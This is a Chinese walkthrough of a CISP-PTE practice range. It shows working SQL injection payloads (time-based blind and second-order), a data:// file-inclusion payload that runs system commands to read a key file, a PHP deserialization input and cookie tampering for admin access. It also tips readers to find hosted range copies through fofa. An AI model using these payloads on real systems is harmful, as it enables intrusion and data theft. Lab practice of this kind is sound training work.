CISP-PTE | 靶场通关记录(二)

admin 2023年7月25日13:20:47评论81 views字数 3016阅读10分3秒阅读模式

CISP-PTE | 靶场通关记录(二)

CISP-PTE | 靶场通关记录(二)
0x00 文章背景


    该说不说的,有段时间没动静了,再不冒个泡,家人们怕是要以为我人已经没了。
    之前发过一篇PTE的靶场通关练习,大家可以进CISP-PTE合集查看,这次的是另一个版本的靶机环境。
    怎么玩?大家可以在fofa搜索环境:
body="CISP-PTE认证考试"
CISP-PTE | 靶场通关记录(二)
    当然,也可以:
公众号回复:PTE,获取下载链接
   
CISP-PTE | 靶场通关记录(二)
0x01 基础题目一:SQL注入
    进入后,可以看到有一个登录、注册功能,一般情况下有登录注册,按照靶场通关套路,要么注入点就在登录之后的功能里,要么就是同时利用注册来实现二次注入。
CISP-PTE | 靶场通关记录(二)
    先注册一个用户:xiaozhu
CISP-PTE | 靶场通关记录(二)
    登录后来到文章发表页面,可以看到注释符是被过滤掉了:
CISP-PTE | 靶场通关记录(二)
    在标题处分别插入了:
' or 1=1 or '' or 1=2 or '
    在文章中返回了0和1,那么……可以尝试一下盲注:
CISP-PTE | 靶场通关记录(二)
    但是,盲注过于麻烦,每次还要在文章页面查看来进行判断,所以……

笨笨的方法:时间盲注
    使用Payload进行测试:
' or sleep(5) or '
CISP-PTE | 靶场通关记录(二)
    成功延时五秒:
CISP-PTE | 靶场通关记录(二)
    后续,使用下面Payload进行爆破即可:
' or if((ascii (mid(database(), 1,1))=32),sleep(2),1) or '' or (if(ascii(mid((select table_name from information_schema.tables where table_schema like 0x32776562 limit 0,1),1,1))=1,1,sleep(2))) or '' or (if(ascii(mid((select column_name from information_schema.columns where table_schema like 0x32776562 and table_name like 0x61727469636C6531 limit 0,1),1,1))=1,sleep(2),1)) or '' or (if(ascii(mid((select group_concat(passwordfrom (select * from users1 limit 0,1as xlz),1,1))=1,sleep(2),1)) or '
CISP-PTE | 靶场通关记录(二)

真正的解法:二次注入
    要实现二次注入,我们要先注册两个用户(后面再介绍为什么要这样):
    用户1:xilizhu
    用户2:*/'xilizhu');#
    首先,我们登录:*/'xilizhu');#
CISP-PTE | 靶场通关记录(二)
    插入Payload:
xlz',(select database()),/*
CISP-PTE | 靶场通关记录(二)
    接下来打开另一个浏览器,登录 xilizhu ,点击文章查看结果:
CISP-PTE | 靶场通关记录(二)
    接下来我就不一一截图了,用到的Payload如下:
xlz',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),/*xlz',(select group_concat(column_name) from information_schema.columns where table_schema='2web' and table_name='users1'),/*
CISP-PTE | 靶场通关记录(二)
    本来想要一次性获取内容的,但是执行失败了,估计有长度限制。最后在users1表password列的第一条值中获取到key,其实就是admin的密码,Payload写法有多种:
xlz',(select password from users1 limit 0,1),/*xlz',(select group_concat(password) from users1 where username='admin'),/*
CISP-PTE | 靶场通关记录(二)
    当然,现在PTE考试的攻击机都配了常用工具的,你用SqlMap梭哈出来,也是没有毛病滴,毕竟只看结果。

二次注入介绍
    我们为什么要同时注册 xilizhu 和 */'xilizhu');# 呢?
    用SQL语句拆开来理解:
CISP-PTE | 靶场通关记录(二)
    如何大家还是不理解的话,可以加群反馈或公众号后台留言,后续考虑给大家做一场直播讲解,希望大家多多宣传公众号即可。

CISP-PTE | 靶场通关记录(二)
0x02 基础题目二:文件上传
    emmm,网上一个都没找到,全部都是没权限访问,咱就是说是怕服务器被控了吗?
CISP-PTE | 靶场通关记录(二)

CISP-PTE | 靶场通关记录(二)
0x03 基础题目三:文件包含
    进入界面之后,长这个样子:
CISP-PTE | 靶场通关记录(二)
    本来想用伪协议读文件的,失败了;然后想用 php://input  直接执行代码的,它也没反应……然后,用数据流协议成功了:
?page=data:text/plain,<?php phpinfo();?>
CISP-PTE | 靶场通关记录(二)
    哎嘿,直接来一手命令执行读取:
?page=data:text/plain,<?php system('ls ../') ?>?page=data:text/plain,<?php system('cat ../key.cisp') ?>
CISP-PTE | 靶场通关记录(二)
    哈哈哈哈,火绒,你真的,我哭死。
CISP-PTE | 靶场通关记录(二)
    这里用远程文件包含应该也是可以的,但是还需要往我自己服务器上放个马,太麻烦了我就没试。

CISP-PTE | 靶场通关记录(二)
0x04 基础题目四:反序列化漏洞
    查看代码可以得知:需使用 str 作为参数,GET请求传递值。在代码中的unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
    那么我们要做的就是要还原被序列化的内容,其实也比较简单,但你如果对PHP反序列化没有了解的话可能会无法理解。
CISP-PTE | 靶场通关记录(二)
    我们查看代码里的内容,如下图所示,框出来的字符长度是8位:
CISP-PTE | 靶场通关记录(二)
    那么序列化内容的格式是这样的:数据类型:字符长度:"原数值"
    根据这个情况来还原后,序列化的内容为:s:8:"CISP-PTE"
    s是string的缩写,也就是字符串的意思。
    最终的Payload如下,需用分号结尾:
?str=s:8:"CISP-PTE";
CISP-PTE | 靶场通关记录(二)

CISP-PTE | 靶场通关记录(二)
0x05 基础题目五:失效的访问控制
    这个……不说了,看完你就知道了。
CISP-PTE | 靶场通关记录(二)
    进入后提示没有权限:
CISP-PTE | 靶场通关记录(二)
    用BP抓个包看看,看看是怎么个事:

CISP-PTE | 靶场通关记录(二)

    可以看到Cookie里有个IsAdminfalse,按照逻辑漏洞的操作来说,我们只需把 false 改成 true;但后面还有个Username,而且做了编码,我们先看看是啥:
CISP-PTE | 靶场通关记录(二)
    base64解码后是这个锤子样,那它就是在传输的时候多了一层url编码:
CISP-PTE | 靶场通关记录(二)
    重新解码一下:
CISP-PTE | 靶场通关记录(二)
    最后得到的值为Guest,根据这个逻辑……我们可能需要改两个地方。首先就是将 false 改为 true,然后将 admin 进行base64编码替换原来 Username的值:
CISP-PTE | 靶场通关记录(二)
    嘻嘻嘻嘻……

CISP-PTE | 靶场通关记录(二)

    这环境有问题,好几个网上的环境都这样滚啊

CISP-PTE | 靶场通关记录(二)

    害得我弄了好久,已经开始怀疑自己了,没办法了,引用网上的图:
CISP-PTE | 靶场通关记录(二)


CISP-PTE | 靶场通关记录(二)
(
END
)



!扫码添加哦!

CISP-PTE | 靶场通关记录(二)

免责声明











   
文章内容仅限授权测试或学习使用
请勿进行非法的测试或攻击

    利用本账号所发文章
进行直接或间接的非法行为
均由操作者本人负全责
犀利猪安全文章对应作者

不为此承担任何责任






原文始发于微信公众号(犀利猪安全):CISP-PTE | 靶场通关记录(二)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月25日13:20:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CISP-PTE | 靶场通关记录(二)http://cn-sec.com/archives/1905649.html

发表评论

匿名网友 填写信息